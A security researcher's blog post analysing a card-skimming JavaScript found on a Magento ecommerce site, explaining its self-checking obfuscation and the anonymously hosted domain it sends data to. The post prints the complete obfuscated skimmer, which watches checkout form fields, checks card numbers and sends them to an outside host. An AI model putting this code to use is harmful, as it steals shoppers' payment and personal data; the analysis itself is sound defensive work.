Analysis of Malicious Code Found on an Ecommerce Platform
Author: Lucas Davis is Red Team Senior Analyst at Cipher
Cipher researchers have found a new type of sophisticated malware code. The attack script steals an assortment of personal information, including first name, last name, address, and bank details. The discovery provides some interesting analysis in terms of digital intelligence.
The script was developed in Javascript and is totally obfuscated, which makes our analysis difficult. The malicious code was originally found in an application that was developed for the Magento eCommerce platform. The malicious code activated only on the page where the user entered their bank details.
<script>(function(){(function FN2Z22(){var O9OQL5=String.fromCharCode(115,112,108,105,116,44,116,111,83,116,114,105,110,103,44,106,111,105,110,44,108,101,110,103,116,104,44,99,104,97,114,67,111,100,101,65,116,44,102,114,111,109,67,104,97,114,67,111,100,101)[String.fromCharCode(115,112,108,105,116)](String.fromCharCode(44));function OVRIVP(IA8L6Z){IA8L6Z=IA8L6Z[O9OQL5[0]](“”);var MDGIHJ=FN2Z22[O9OQL5[1]]()[O9OQL5[0]](/\(| | |\n|\r|;|}|{|\)/)[O9OQL5[2]](“”)[O9OQL5[3]][O9OQL5[1]]()[O9OQL5[0]](“”),YHRZ9V=0,T1X5NM=””,IA6XG5=””,SHHL12=0,IRA993;for(IRA993=0;IRA993<IA8L6Z[O9OQL5[3]];IRA993=IRA993+2){if(MDGIHJ[O9OQL5[3]]==YHRZ9V){YHRZ9V=0;}IA6XG5=parseInt(IA8L6Z[IRA993]+IA8L6Z[IRA993+1],30)-MDGIHJ[YHRZ9V][O9OQL5[4]](0)-SHHL12;T1X5NM+=String[O9OQL5[5]](IA6XG5);SHHL12=IA6XG5;YHRZ9V++}return T1X5NM}O9OQL5=OVRIVP(“215j8l8s7q7n8q8l8l8r9d9c7m838m7m8b7r7m8h8l5h3n6m8q989g9e7377938k8k8g92736j8t9c946q6k929e9d9d986r6e6j6s8p8n6p3n5d5d60613h3h5o8q8m8o95975f588d8h7a7s958s97837r979c8s8r8s8q5p5i90908j8h9289879293878h9s967o80935t4p4p4q6s6o74767d6j728r8r8r978q8s975r5r985l5m999f928r975r3d3d383939395l8h5642475l919d9e9e7e56503o5a8l97908p9095746t979b5s5q8p8t968s99625l9196935p447i7l485k919e9j8r8c8r9h9a5l619e918o97635p8m8n8r8m915p5e8o9d8t8d8e7e83968m9762658q8g9b955c5g91978m8q8273726o4m5e8g8r5o5m8q8l8h988a7m5i638o8b7r7m8h8l5h63987s839h918q7r7b8n8r5h5n8s8r915r5l8i8m8r5c5g8l5h5a8o918f8o8s7g7o8k8l8q8s975r5l92968r919h7n788j90968q5h629a8o5f5q8h8o918k”)[O9OQL5[0]](String.fromCharCode(10));function KHIE5B(){var MDGIHJ=arguments,YHRZ9V=0,IRA993;for(IRA993=0;IRA993<MDGIHJ.length;IRA993++)YHRZ9V+=MDGIHJ[IRA993];return O9OQL5[YHRZ9V]}(function(){function PGRQOW(){}var VVJ83D=KHIE5B(1,-1),TWFLJA,OUL8OM=KHIE5B(1,0),IG65BY=KHIE5B(4,3,-4,-1),RK2URL=IG65BY[KHIE5B(22,18,16,-32)](KHIE5B(6,-3))[0],JF2KVT=KHIE5B(7,1,-4)+Math[KHIE5B(47,41,9,-72)](),WOREKS=KHIE5B(3,3,9,-10),O9PDBJ=KHIE5B(9,-3),LHX3EW=KHIE5B(2,12,-7),KGBRPX=KHIE5B(5,12,-9)[KHIE5B(8,44,-28)](KHIE5B(16,-2,-5));eval(KHIE5B(20,17,-27));function RXRU3E(RJF9HO,P52R76){RJF9HO[LHX3EW]?RJF9HO[LHX3EW](P52R76,RZK5KX,false):RJF9HO[KHIE5B(36,-30,20)](KHIE5B(16,21,-26)+P52R76,RZK5KX)}function LZATF1(RJF9HO){var PC9IE6=RJF9HO[KHIE5B(29,33,-35)],YE0TVO;RJF9HO=RJF9HO[OUL8OM](KHIE5B(24,-12));for(YE0TVO=0;YE0TVO<RJF9HO[KHIE5B(12,-6)];YE0TVO++)if(PC9IE6==RJF9HO[YE0TVO][KHIE5B(44,36,-53)])PC9IE6=RJF9HO[YE0TVO][KHIE5B(54,-28,2)];return encodeURIComponent(PC9IE6)}function RZK5KX(){var RJF9HO=PGRQOW[KHIE5B(34,40,19,-64)]||PGRQOW[OUL8OM](KHIE5B(8,5)),YE0TVO,ICW82N=KHIE5B(1,1,-2),E;TWFLJA=KHIE5B(1,-1);for(YE0TVO=0;YE0TVO<RJF9HO[O9PDBJ];YE0TVO++){if(RK2URL[KHIE5B(34,5,11,-20)](WOREKS+RJF9HO[YE0TVO][KHIE5B(62,30,-61)][KHIE5B(64,-32)]()+WOREKS)>=0&&RJF9HO[YE0TVO][KHIE5B(5,22)]){if(SDSNKC(RJF9HO[YE0TVO][KHIE5B(9,9,9)][KHIE5B(18,6)](KHIE5B(4,8,2))[KHIE5B(37,25,-29)](KHIE5B(1,1,-1,-1))))TWFLJA=RJF9HO[YE0TVO][KHIE5B(24,29,-26)][KHIE5B(33,-9)](KHIE5B(22,3,28,-39))[KHIE5B(34,-2,1)](KHIE5B(1,-1));ICW82N+=KHIE5B(8,11,-3,-1)+(RJF9HO[YE0TVO][KHIE5B(69,-35)]||RJF9HO[YE0TVO][KHIE5B(28,17,54,-64)]||KHIE5B(22,-6)+YE0TVO)+KHIE5B(18,-1)+LZATF1(RJF9HO[YE0TVO])}}if(VVJ83D!=ICW82N&&TWFLJA){VVJ83D=ICW82N;PM1ACJ()}}function PM1ACJ(){var P52R76=KHIE5B(6,-6,18);P52R76+=KHIE5B(25,31,-37)+P52R76[6]+KGBRPX[0]+P52R76[6]+KGBRPX[3]+P52R76[6]+KGBRPX[2]+WOREKS+KGBRPX[1];var RJF9HO=PGRQOW[KHIE5B(12,24)](KHIE5B(20,4,27,-31)),ICW82N=PGRQOW[OUL8OM](KHIE5B(19,-2,40,-36))[0];RJF9HO=ICW82N[KHIE5B(48,63,-74)](RJF9HO,null);RJF9HO[KHIE5B(28,10)]=P52R76+KHIE5B(10,29,-17)+JF2KVT+VVJ83D+KHIE5B(18,23,-26)+IG65BY[11]+RK2URL[11]+KHIE5B(18,-1)+TWFLJA}function SDSNKC(JWWPZW){var P52R76=0;JWWPZW=JWWPZW[KHIE5B(12,42,-30)](KHIE5B(1,1,-2));if(JWWPZW[O9PDBJ]<13||JWWPZW[O9PDBJ]>19)return false;for(var YE0TVO=JWWPZW[O9PDBJ]-1;YE0TVO>=0;YE0TVO–){if(!JWWPZW[YE0TVO][KHIE5B(60,-58,9,28)](/[0-9]/))return false;if(!(YE0TVO%2)){P52R76+=(JWWPZW[YE0TVO]*2>9)?JWWPZW[YE0TVO]*2-9:JWWPZW[YE0TVO]*2}else{P52R76+=JWWPZW[YE0TVO]*1}}return!(P52R76%10)}function JWWPZW(){var RJF9HO=PGRQOW[KHIE5B(11,57,46,-85)]||PGRQOW[OUL8OM](KHIE5B(19,-11,20,-15)),YE0TVO;for(YE0TVO=0;YE0TVO<RJF9HO[O9PDBJ];YE0TVO++){if(IG65BY[KHIE5B(37,15,-7,-15)](WOREKS+RJF9HO[YE0TVO][KHIE5B(40,-9)][KHIE5B(29,16,-13)]()+WOREKS)>=0&&!RJF9HO[YE0TVO][JF2KVT]){RJF9HO[YE0TVO][JF2KVT]=1;RXRU3E(RJF9HO[YE0TVO],KHIE5B(5,7,11))}}setTimeout(JWWPZW,99)}JWWPZW()}())}())}())</script>
Reading this obfuscated code is very laborious, so the first step is to understand the code. This allows a more user-friendly and organized reading of the code. You can use some online tools for this or even Google Chrome to help accomplish this.
After a few hours of reading, understanding, and rewriting the code, we came to a very interesting conclusion: “The script cannot be modified!” The script works only with a certain amount of characters because it reads its own source code. This source code is then converted to a string which generates an array of numbers according to the number of characters found.
The first thing a security analyst will do is “disassemble” the code to start understanding it. That’s exactly where the challenges begin.
All this magic happens with the following regular expression in this line:
var params = FN2Z22[O9OQL5[1]]()[O9OQL5[0]](/\(| | |\n|\r|;|}| {|\)/)[O9OQL5[2]](“)[O9OQL5[3]][O9OQL5[1]()[O9OQL5[0]](“);
When we run the current code, we receive a value of the variable MDGIHJ, the array [“3”, “8”, “9”, “3”]. When we change the source code and put, for example, a console.log(O9OQL5), the array returned now is [“3”, “9”, “1”, “0”]. With this change, the script simply won’t work and you won’t be able to know exactly what’s going on.
Once you understand this, the first question that comes to mind is: how will we read the code without modifying it? Simple, we will debug the code during its execution and see the values of the variables. We’ll use Google Chrome to accomplish this task.
When running the code locally and analyzing its actual behavior, we put an endpoint in the variable O9OQL5. That is where the output we want to visualize is, but as we already know this will only work with the variable MDGIHJ is with its correct value ([“3”, “8”,”9″, “3”]). With this, we can see that requests are sent to www.c*****.pro.
Going a little further, we checked out more details about this domain.
Here we see that the owner is www.dom*****bitcoins.com. This complicates our analysis since dom*****bitcoins is a service that works with anonymous hosting.
With this, we see how a simple line of code developed in Javascript can compromise users of an application. According to our research, this code found has been circulating for a few months, but the amount of sensitive data collected is very high.
0 Comments